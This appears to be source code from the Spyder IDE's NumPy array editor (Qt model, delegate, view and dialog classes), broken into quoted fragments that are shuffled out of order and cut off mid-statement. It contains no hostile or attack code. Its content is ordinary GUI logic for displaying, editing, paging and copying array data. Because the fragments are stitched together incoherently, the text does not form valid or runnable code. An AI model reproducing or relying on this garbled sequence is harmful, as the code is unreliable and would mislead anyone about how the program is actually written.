QColor.fromHsvF(hue, self.sat, self.val, self.alp) return to_qvariant(color) except", "+ items_to_fetch - 1) self.rows_loaded += items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns):", "(see spyder/__init__.py for details) \"\"\" NumPy Array Editor Dialog based", "(QAbstractItemDelegate, QApplication, QCheckBox, QComboBox, QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate,", "def accept(self): \"\"\"Reimplement Qt method\"\"\" for index in range(self.stack.count()): self.stack.widget(index).accept_changes()", "value in list(self.model.changes.items()): self.data[i, j] = value if self.old_data_shape is", "arrays\") % data.dtype.name self.error(_(\"%s are currently not supported\") % arr)", "self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout,", "stack_index = self.dim_indexes[self.last_dim].get(data_index) if stack_index is None: stack_index = self.stack.count()", "part.left() right = part.right() if (old_cols_loaded is not None and", "clipboard\"\"\" cliptxt = self._sel_to_text( self.selectedIndexes() ) clipboard = QApplication.clipboard() clipboard.setText(cliptxt)", "True @Slot(QModelIndex, QModelIndex) def save_and_close_enable(self, left_top, bottom_right): \"\"\"Handle the data", "= QLabel() btn_layout.addWidget(self.shape_label) label = QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label =", "Slot) from qtpy.QtGui import QColor, QCursor, QDoubleValidator, QKeySequence from qtpy.QtWidgets", "return to_qvariant(labels[section]) def reset(self): self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate): \"\"\"Array Editor", "value = model.get_value(index) if model._data.dtype.name == \"bool\": value = not", "self.error(_(\"Arrays with more than 3 dimensions are not \" \"supported\"))", "Licensed under the terms of the MIT License # (see", "_format from outside return self._format def get_data(self): \"\"\"Return data\"\"\" return", "self.btn_close = None # Values for 3d array editor self.dim_indexes", "QPushButton, QSpinBox, QStackedWidget, QTableView, QVBoxLayout, QWidget) import numpy as np", "possible to copy values for \" \"this array\")) return contents", "not None and len(ylabels) != self.data.shape[0]: self.error(_(\"The 'ylabels' argument length", "else: # this is done since if the value is", "= '<font color=red>%i</font>' self.shape_label.setText(('Shape: (' + ', '.join(string_size) + ')", "anything, update selection new_selection = QItemSelection() for part in old_selection:", "not is_record_array: dtn = data.dtype.name if dtn not in SUPPORTED_FORMATS", "'xlabels' argument length do no match array \" \"column number\"))", "= '<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\" + \", \".join(string_index) + \"]\")", "0 and bottom == (old_rows_loaded-1)): # complete column selected (so", "self.alp = .6 # Alpha-channel self._data = data self._format =", "print(\"OverflowError: \" + str(e)) # spyder: test-skip QMessageBox.critical(self.dialog, \"Error\", \"Overflow", "title += ' (' + _('read only') + ')' self.setWindowTitle(title)", "\".join(string_index) + \"]\") % index) if index < 0: data_index", "an application crash on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data = None self.arraywidget", "absolute value # but for all other types it will", "state > 0 self.reset() def get_value(self, index): i = index.row()", "to a unicode string\"\"\" if not cell_range: return row_min, row_max,", "ArrayEditor: return False if data is not supported, True otherwise", "if self.index_spin.value() != 0: self.index_spin.setValue(0) else: # this is done", "# -*- coding: utf-8 -*- # # Copyright © Spyder", "readonly: title += ' (' + _('read only') + ')'", "for name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels, ylabels)) elif", "rows or number of # columns is too large if", "except: pass if role == Qt.DisplayRole: if value is np.ma.masked:", "= to_text_string(value, 'utf8') except: pass if role == Qt.DisplayRole: if", "be changed # but at least Spyder won't crash. It", "self.bgcolor_enabled = state > 0 self.reset() def get_value(self, index): i", "than 3 dimensions are not \" \"supported\")) return False if", "self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self): \"\"\"Setup context menu\"\"\" self.copy_action", "Qt method\"\"\" if self.arraywidget is not None: for index in", "False if data is not supported, True otherwise \"\"\" self.data", "= np.abs else: self.color_func = np.real # Backgroundcolor settings huerange", "title = repr(title) text += ' - '+title names.append(text) else:", "def columnCount(self, qindex=QModelIndex()): \"\"\"Array column number\"\"\" if self.total_cols <= self.cols_loaded:", "Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role == Qt.BackgroundColorRole and self.bgcolor_enabled \\", "= data.dtype.name if dtn not in SUPPORTED_FORMATS and not dtn.startswith('str')", "= QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor def commitAndCloseEditor(self): \"\"\"Commit", "= val return True def flags(self, index): \"\"\"Set editable flag\"\"\"", "= None self.btn_close = None # Values for 3d array", "model.get_value(index) if model._data.dtype.name == \"bool\": value = not value model.setData(index,", "< 0: data_index = self.data.shape[self.last_dim] + index else: data_index =", "np.ma.masked: editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator =", "get_idx_rect(index_list): \"\"\"Extract the boundaries from a list of indexes\"\"\" rows,", ".6 # Alpha-channel self._data = data self._format = format self.total_rows", "QColor, QCursor, QDoubleValidator, QKeySequence from qtpy.QtWidgets import (QAbstractItemDelegate, QApplication, QCheckBox,", "return contents = output.getvalue().decode('utf-8') output.close() return contents @Slot() def copy(self):", "self.vmax = val if val < self.vmin: self.vmin = val", "\" \"column number\")) return False if ylabels is not None", "QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate, QLabel, QLineEdit, QMenu, QMessageBox,", "or number of # columns is too large if size", "label = QLabel(_(\"<u>Warning</u>: changes are applied separately\")) label.setToolTip(_(\"For performance reasons,", "is_record_array: btn_layout.addWidget(QLabel(_(\"Record array fields:\"))) names = [] for name in", "# spyder: test-skip QMessageBox.critical(self.dialog, \"Error\", \"Overflow error: %s\" % str(e))", "is not None and left == 0 and right ==", "data.dtype in (np.complex64, np.complex128): self.color_func = np.abs else: self.color_func =", "axis self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self,", "format\"\"\" format, valid = QInputDialog.getText(self, _( 'Format'), _( \"Float formatting\"),", ") clipboard = QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def __init__(self, parent,", "the C++ object right after closing the dialog box, #", "hue = float(np.abs(hue)) color = QColor.fromHsvF(hue, self.sat, self.val, self.alp) return", "left_top, bottom_right): \"\"\"Handle the data change event to enable the", "setup_menu(self): \"\"\"Setup context menu\"\"\" self.copy_action = create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'),", "val return True def flags(self, index): \"\"\"Set editable flag\"\"\" if", "('int' in dtype.name) or ('long' in dtype.name) \\ or ('short'", "np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format()) except: QMessageBox.warning(self, _(\"Warning\"), _(\"It was", "layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self): \"\"\"Accept changes\"\"\" for (i, j), value", "under the terms of the MIT License # (see spyder/__init__.py", "return False def fetch_more(self, rows=False, columns=False): if self.can_fetch_more(rows=rows): reminder =", "editor.returnPressed.connect(self.commitAndCloseEditor) return editor def commitAndCloseEditor(self): \"\"\"Commit and close editor\"\"\" editor", "are not \" \"supported\")) return False if xlabels is not", "= not value model.setData(index, to_qvariant(value)) return elif value is not", "= repr(title) text += ' - '+title names.append(text) else: names", "'ubyte': '%d', 'ushort': '%d', 'uintc': '%d', 'uint': '%d', 'ulonglong': '%d',", "= QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close'))", "and close button.\"\"\" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self,", "else: value = self._data[i, j] return self.changes.get((i, j), value) def", "Variable value won't be changed # but at least Spyder", "= self.model().cols_loaded-1 top_left = self.model().index(top, left) bottom_right = self.model().index(bottom, right)", "as a window self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex, QModelIndex) def save_and_close_enable(self,", "from spyder.config.base import _ from spyder.config.fonts import DEFAULT_SMALL_DELTA from spyder.config.gui", "self, self.data[tuple(slice_index)])) except IndexError: # Handle arrays of size 0", "= field[2] if not is_text_string(title): title = repr(title) text +=", "= None self.dhue = None self.bgcolor_enabled = False # Use", "= 500 COLS_TO_LOAD = 40 def __init__(self, data, format=\"%.6g\", xlabels=None,", "= index.column() if len(self._data.shape) == 1: value = self._data[j] else:", "= ArrayView(self, self.model, data.dtype, data.shape) btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn", "length do no match array \" \"column number\")) return False", "else: if self.total_rows > LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD else: self.rows_loaded", "to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self): \"\"\"Setup", "0 # Adjust this for changing the startup dimension def", "def is_number(dtype): \"\"\"Return True is datatype dtype is a number", "ValueError as e: QMessageBox.critical(self.dialog, \"Error\", \"Value error: %s\" % str(e))", "self.total_rows - self.rows_loaded items_to_fetch = min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded", "val # will raise an Exception eventually except OverflowError as", "value # but for all other types it will be", "- self.cols_loaded items_to_fetch = min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded +", "== 3: # QSpinBox self.index_spin = QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) #", "row_min, row_max, col_min, col_max = get_idx_rect(cell_range) if col_min == 0", "part.right() if (old_cols_loaded is not None and left == 0", "return row_min, row_max, col_min, col_max = get_idx_rect(cell_range) if col_min ==", "add_actions, create_action, keybinding # Note: string and unicode data types", "right == (old_cols_loaded-1)): # compete row selected (so expand it", "\"\\ \"to masked array won't be reflected in \"\\ \"array's", "'%r', 'bool': '%r', } LARGE_SIZE = 5e5 LARGE_NROWS = 1e5", "License # (see spyder/__init__.py for details) \"\"\" NumPy Array Editor", "= self.dim_indexes[self.last_dim].get(data_index) if stack_index is None: stack_index = self.stack.count() try:", "in ['single', 'double'] def is_number(dtype): \"\"\"Return True is datatype dtype", "role == Qt.DisplayRole: if value is np.ma.masked: return '' else:", "triggered=self.copy, context=Qt.WidgetShortcut) menu = QMenu(self) add_actions(menu, [self.copy_action, ]) return menu", "* self.total_cols try: self.vmin = np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data)) if", "ylabels is not None and len(ylabels) != self.data.shape[0]: self.error(_(\"The 'ylabels'", "QItemSelection, QLocale, QItemSelectionRange, QModelIndex, Qt, Slot) from qtpy.QtGui import QColor,", "if not is_string(val): if val > self.vmax: self.vmax = val", "accept_changes(self): \"\"\"Accept changes\"\"\" for (i, j), value in list(self.model.changes.items()): self.data[i,", "QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True)", "\"\"\"Commit and close editor\"\"\" editor = self.sender() # Avoid a", "old_rows_loaded is not None or old_cols_loaded is not None: #", "message): \"\"\"An error occured, closing the dialog box\"\"\" QMessageBox.critical(self, _(\"Array", "= to_text_string(title) + \" - \" + _(\"NumPy array\") else:", "error occured, closing the dialog box\"\"\" QMessageBox.critical(self, _(\"Array editor\"), message)", "' - '+title names.append(text) else: names = [_('Masked data'), _('Data'),", "'uint64': '%d', 'bool_': '%r', 'bool8': '%r', 'bool': '%r', } LARGE_SIZE", "to_qvariant() labels = self.xlabels if orientation == Qt.Horizontal else self.ylabels", "= None self.arraywidget = None self.stack = None self.layout =", "= self.sender() # Avoid a segfault with PyQt5. Variable value", "= None self.layout = None self.btn_save_and_close = None self.btn_close =", "eventually except OverflowError as e: print(\"OverflowError: \" + str(e)) #", "_ from spyder.config.fonts import DEFAULT_SMALL_DELTA from spyder.config.gui import get_font, config_shortcut", "title='', readonly=False, xlabels=None, ylabels=None): \"\"\" Setup ArrayEditor: return False if", "not supported, True otherwise \"\"\" self.data = data readonly =", "index)| Qt.ItemIsEditable) def headerData(self, section, orientation, role=Qt.DisplayRole): \"\"\"Set header data\"\"\"", "of # columns is too large if size > LARGE_SIZE:", "is not np.ma.masked: editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype):", "\"\"\" Setup ArrayEditor: return False if data is not supported,", "1) self.cols_loaded += items_to_fetch self.endInsertColumns() def bgcolor(self, state): \"\"\"Toggle backgroundcolor\"\"\"", "try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format()) except: QMessageBox.warning(self, _(\"Warning\"), _(\"It", "ylabels)) elif data.ndim == 3: pass else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly,", "stack_index = self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except IndexError: #", "'uintc': '%d', 'uint': '%d', 'ulonglong': '%d', 'uintp': '%d', 'uint8': '%d',", "to # select only the first part of a column", "elif dtype.startswith(\"string\") or dtype.startswith(\"bytes\"): val = to_binary_string(value, 'utf8') elif dtype.startswith(\"unicode\")", "if is_number(self.dtype): validator = QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor", "title = field[2] if not is_text_string(title): title = repr(title) text", "to # a segmentation fault on UNIX or an application", "self.reset() def get_value(self, index): i = index.row() j = index.column()", "dtype.startswith(\"bytes\"): val = to_binary_string(value, 'utf8') elif dtype.startswith(\"unicode\") or dtype.startswith(\"str\"): val", "ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the widgets to layout label =", "from spyder.utils import icon_manager as ima from spyder.utils.qthelpers import add_actions,", "= self.total_cols - self.cols_loaded items_to_fetch = min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded,", "# Make the dialog act as a window self.setWindowFlags(Qt.Window) return", "if is_record_array: btn_layout.addWidget(QLabel(_(\"Record array fields:\"))) names = [] for name", "== 0 and right == (old_cols_loaded-1)): # compete row selected", "and right == (old_cols_loaded-1)): # compete row selected (so expand", "- 1) self.cols_loaded += items_to_fetch self.endInsertColumns() def bgcolor(self, state): \"\"\"Toggle", "if dtype == \"bool\": try: val = bool(float(value)) except ValueError:", "supported\") % arr) return False self.layout = QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit'))", "else: self.rows_loaded = self.total_rows if self.total_cols > LARGE_COLS: self.cols_loaded =", "value is not np.ma.masked: try: hue = (self.hue0 + self.dhue", "Item Delegate\"\"\" def __init__(self, dtype, parent=None): QItemDelegate.__init__(self, parent) self.dtype =", "'int8': '%d', 'int16': '%d', 'int32': '%d', 'int64': '%d', 'ubyte': '%d',", "+ index else: data_index = index slice_index = [slice(None)]*3 slice_index[self.last_dim]", "and self.bgcolor_enabled \\ and value is not np.ma.masked: try: hue", "'short': '%d', 'intc': '%d', 'int_': '%d', 'longlong': '%d', 'intp': '%d',", "'uint8': '%d', 'uint16': '%d', 'uint32': '%d', 'uint64': '%d', 'bool_': '%r',", "min(rows), max(rows), min(cols), max(cols) ) #============================================================================== # Main classes #==============================================================================", "reasons, changes applied \"\\ \"to masked array won't be reflected", "the same behavior as slicing \"\"\" string_index = [':']*3 string_index[self.last_dim]", "widgets to layout label = QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label =", "btn_layout.addWidget(bgcolor) layout = QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self): \"\"\"Accept", "to_qvariant() def setData(self, index, value, role=Qt.EditRole): \"\"\"Cell content change\"\"\" if", "a window self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex, QModelIndex) def save_and_close_enable(self, left_top,", "index string_size = ['%i']*3 string_size[index] = '<font color=red>%i</font>' self.shape_label.setText(('Shape: ('", "40 def __init__(self, data, format=\"%.6g\", xlabels=None, ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self)", "== \"true\" elif dtype.startswith(\"string\") or dtype.startswith(\"bytes\"): val = to_binary_string(value, 'utf8')", "'%r', 'complex128': '%r', 'complex192': '%r', 'complex256': '%r', 'byte': '%d', 'bytes8':", "# Standard library imports from __future__ import print_function # Third", "not val.imag: val = val.real except ValueError as e: QMessageBox.critical(self.dialog,", "= QLabel() btn_layout.addWidget(self.slicing_label) # set the widget to display when", "cells to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self):", "valid: format = str(format) try: format % 1.1 except: QMessageBox.critical(self,", "\"\"\" self.last_dim = index string_size = ['%i']*3 string_size[index] = '<font", "probably # already been destroyed, due to the Qt.WA_DeleteOnClose attribute", "dtype.startswith(\"unicode\") or dtype.startswith(\"str\"): val = to_text_string(value) else: if value.lower().startswith('e') or", "= True except (TypeError, ValueError): self.vmin = None self.vmax =", "copy the whole thing col_max = self.model().total_cols-1 if row_min ==", "editor = self.sender() # Avoid a segfault with PyQt5. Variable", "pass def resize_to_contents(self): \"\"\"Resize cells to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True)", "[self.copy_action, ]) return menu def contextMenuEvent(self, event): \"\"\"Reimplement Qt method\"\"\"", "(and vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch() if not readonly: self.btn_save_and_close = QPushButton(_('Save", "_( 'Format'), _( \"Float formatting\"), QLineEdit.Normal, self.model.get_format()) if valid: format", "shape self.menu = self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda", "changes are applied separately\")) label.setToolTip(_(\"For performance reasons, changes applied \"\\", "xlabels is not None and len(xlabels) != self.data.shape[1]: self.error(_(\"The 'xlabels'", "label = QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label) #", "Qt method\"\"\" if event == QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self, event)", "__future__ import print_function # Third party imports from qtpy.compat import", "QAbstractItemDelegate.NoHint) def setEditorData(self, editor, index): \"\"\"Set editor widget's data\"\"\" text", "= self._data[j] else: value = self._data[i, j] return self.changes.get((i, j),", "is_number(dtype): \"\"\"Return True is datatype dtype is a number kind\"\"\"", ") #============================================================================== # Main classes #============================================================================== class ArrayModel(QAbstractTableModel): \"\"\"Array Editor", "QHBoxLayout, QInputDialog, QItemDelegate, QLabel, QLineEdit, QMenu, QMessageBox, QPushButton, QSpinBox, QStackedWidget,", "btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label) # set the widget to", "dtype = self._data.dtype.name if dtype == \"bool\": try: val =", "message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self): \"\"\"Reimplement Qt method\"\"\" if", "the widgets to layout label = QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label", "self.shape_label.setText(('Shape: (' + ', '.join(string_size) + ') ') % self.data.shape)", "index slice_index = [slice(None)]*3 slice_index[self.last_dim] = data_index stack_index = self.dim_indexes[self.last_dim].get(data_index)", "else: QTableView.keyPressEvent(self, event) def _sel_to_text(self, cell_range): \"\"\"Copy an array portion", "self.cols_loaded items_to_fetch = min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded + items_to_fetch", "color = QColor.fromHsvF(hue, self.sat, self.val, self.alp) return to_qvariant(color) except TypeError:", "is_binary_string, is_string, is_text_string, PY3, to_binary_string, to_text_string) from spyder.utils import icon_manager", "self.setWindowIcon(ima.icon('arredit')) if title: title = to_text_string(title) + \" - \"", "self.cols_loaded = self.total_cols def get_format(self): \"\"\"Return current format\"\"\" # Avoid", ".99] # Hue self.sat = .7 # Saturation self.val =", "try: self.commitData.emit(editor) except AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self, editor,", "e: QMessageBox.critical(self.dialog, \"Error\", \"Value error: %s\" % str(e)) return False", "QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self): \"\"\"Accept changes\"\"\" for (i,", "'%r', 'complex256': '%r', 'byte': '%d', 'bytes8': '%s', 'short': '%d', 'intc':", "to enable the save and close button.\"\"\" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True)", "self.rows_loaded: return True else: return False if columns: if self.total_cols", "parent, data, readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self, parent) self.data = data", "True else: return False if columns: if self.total_cols > self.cols_loaded:", "self.dtype = dtype def createEditor(self, parent, option, index): \"\"\"Create editor", "= 60 #============================================================================== # Utility functions #============================================================================== def is_float(dtype): \"\"\"Return", "unicode data types will be formatted with '%s' (see below)", "3d array editor self.dim_indexes = [{}, {}, {}] self.last_dim =", "but at least Spyder won't crash. It seems generated by", "= [{}, {}, {}] self.last_dim = 0 # Adjust this", "QStackedWidget(self) if is_record_array: for name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly,", "'%s' (see below) SUPPORTED_FORMATS = { 'single': '%.6g', 'double': '%.6g',", "self.bgcolor_enabled = False # Use paging when the total size,", "parent) self.dtype = dtype def createEditor(self, parent, option, index): \"\"\"Create", "self.data.shape[1]: self.error(_(\"The 'xlabels' argument length do no match array \"", "no match array \" \"column number\")) return False if ylabels", "def reject_changes(self): \"\"\"Reject changes\"\"\" if self.old_data_shape is not None: self.data.shape", "data, title='', readonly=False, xlabels=None, ylabels=None): \"\"\" Setup ArrayEditor: return False", "arr = _(\"%s arrays\") % data.dtype.name self.error(_(\"%s are currently not", "== (old_rows_loaded-1)): # complete column selected (so expand it to", "copy values for \" \"this array\")) return contents = output.getvalue().decode('utf-8')", "class ArrayView(QTableView): \"\"\"Array view class\"\"\" def __init__(self, parent, model, dtype,", "\"\"\"Reimplement Qt method\"\"\" for index in range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def", "_(\"It was not possible to copy values for \" \"this", "QTableView, QVBoxLayout, QWidget) import numpy as np # Local imports", "self.data def error(self, message): \"\"\"An error occured, closing the dialog", "= [slice(None)]*3 slice_index[self.last_dim] = data_index stack_index = self.dim_indexes[self.last_dim].get(data_index) if stack_index", "'utf8') except: pass if role == Qt.DisplayRole: if value is", "return contents @Slot() def copy(self): \"\"\"Copy text to clipboard\"\"\" cliptxt", "!= 0: self.index_spin.setValue(0) else: # this is done since if", "or dtype.name in ['single', 'double'] def is_number(dtype): \"\"\"Return True is", "with '%s' (see below) SUPPORTED_FORMATS = { 'single': '%.6g', 'double':", "self.data.shape) if self.index_spin.value() != 0: self.index_spin.setValue(0) else: # this is", "- self.vmin)) hue = float(np.abs(hue)) color = QColor.fromHsvF(hue, self.sat, self.val,", "QDoubleValidator, QKeySequence from qtpy.QtWidgets import (QAbstractItemDelegate, QApplication, QCheckBox, QComboBox, QDialog,", "# Handle arrays of size 0 in one axis self.stack.addWidget(ArrayEditorWidget(self,", "'ushort': '%d', 'uintc': '%d', 'uint': '%d', 'ulonglong': '%d', 'uintp': '%d',", "self.rows_loaded: return self.total_rows else: return self.rows_loaded def can_fetch_more(self, rows=False, columns=False):", "%s\" % str(e)) return False # Add change to self.changes", "= data readonly = readonly or not self.data.flags.writeable is_record_array =", "index.row() j = index.column() value = from_qvariant(value, str) dtype =", "(old_cols_loaded-1)): # compete row selected (so expand it to match", "spyder.config.base import _ from spyder.config.fonts import DEFAULT_SMALL_DELTA from spyder.config.gui import", "it as intentional and copy the whole thing col_max =", "\"\"\"Set header data\"\"\" if role != Qt.DisplayRole: return to_qvariant() labels", "as slicing \"\"\" string_index = [':']*3 string_index[self.last_dim] = '<font color=red>%i</font>'", "def save_and_close_enable(self, left_top, bottom_right): \"\"\"Handle the data change event to", "plotting over in 3D \"\"\" self.last_dim = index string_size =", "self.layout = QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title: title = to_text_string(title)", "do no match array \" \"column number\")) return False if", "'<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\" + \", \".join(string_index) + \"]\") %", "below) SUPPORTED_FORMATS = { 'single': '%.6g', 'double': '%.6g', 'float_': '%.6g',", "'%.6g', 'float64': '%.6g', 'float96': '%.6g', 'float128': '%.6g', 'csingle': '%r', 'complex_':", "self.alp) return to_qvariant(color) except TypeError: return to_qvariant() elif role ==", "+ items_to_fetch - 1) self.cols_loaded += items_to_fetch self.endInsertColumns() def bgcolor(self,", "list of indexes\"\"\" rows, cols = list(zip(*[(i.row(), i.column()) for i", "'utf8') elif dtype.startswith(\"unicode\") or dtype.startswith(\"str\"): val = to_text_string(value) else: if", "\"Error\", \"Value error: %s\" % str(e)) return False try: self.test_array[0]", "= index.row() j = index.column() if len(self._data.shape) == 1: value", "repr(value) elif role == Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role ==", "= bool(float(value)) except ValueError: val = value.lower() == \"true\" elif", "parent, model, dtype, shape): QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width", "to copy values for \" \"this array\")) return contents =", "[\" + \", \".join(string_index) + \"]\") % index) if index", "array \" \"column number\")) return False if ylabels is not", "index.column() value = from_qvariant(value, str) dtype = self._data.dtype.name if dtype", "Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def headerData(self, section, orientation, role=Qt.DisplayRole): \"\"\"Set header", "self.endResetModel() class ArrayDelegate(QItemDelegate): \"\"\"Array Editor Item Delegate\"\"\" def __init__(self, dtype,", "3 dimensions are not \" \"supported\")) return False if xlabels", "return self._data def set_format(self, format): \"\"\"Change display format\"\"\" self._format =", "updated # range) right = self.model().cols_loaded-1 top_left = self.model().index(top, left)", "btn_layout.addWidget(QLabel(_(\"Record array fields:\"))) names = [] for name in data.dtype.names:", "elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly,", "Use paging when the total size, number of rows or", "if title: title = to_text_string(title) + \" - \" +", "self._data = data self._format = format self.total_rows = self._data.shape[0] self.total_cols", "def current_widget_changed(self, index): self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index):", "self.cols_loaded def rowCount(self, qindex=QModelIndex()): \"\"\"Array row number\"\"\" if self.total_rows <=", "if not index.isValid(): return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def", "\\ and not dtn.startswith('unicode'): arr = _(\"%s arrays\") % data.dtype.name", "= (self.data.shape[0], 1) elif len(self.data.shape) == 0: self.old_data_shape = self.data.shape", "QComboBox names = [str(i) for i in range(3)] ra_combo =", "due to the Qt.WA_DeleteOnClose attribute return self.data def error(self, message):", "_(\"NumPy array\") else: title = _(\"Array editor\") if readonly: title", "self.model().fetch_more(rows=rows) if columns and value == self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded", "in index for 3d arrays, to give the same behavior", "format=\"%.6g\", xlabels=None, ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog = parent self.changes", "self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled = True except (TypeError, ValueError): self.vmin", "self.total_cols > self.cols_loaded: return True else: return False def fetch_more(self,", "xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels, ylabels)) elif data.ndim ==", "\"Value error: %s\" % str(e)) return False try: self.test_array[0] =", "types will be formatted with '%s' (see below) SUPPORTED_FORMATS =", "number of rows or number of # columns is too", "'double'] def is_number(dtype): \"\"\"Return True is datatype dtype is a", "'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout = QVBoxLayout() layout.addWidget(self.view)", "self.xlabels = xlabels self.ylabels = ylabels self.readonly = readonly self.test_array", "labels = self.xlabels if orientation == Qt.Horizontal else self.ylabels if", "= ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self) self.view = ArrayView(self,", "can treat it as intentional and copy the whole thing", "self.bgcolor_enabled = True except (TypeError, ValueError): self.vmin = None self.vmax", "xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, 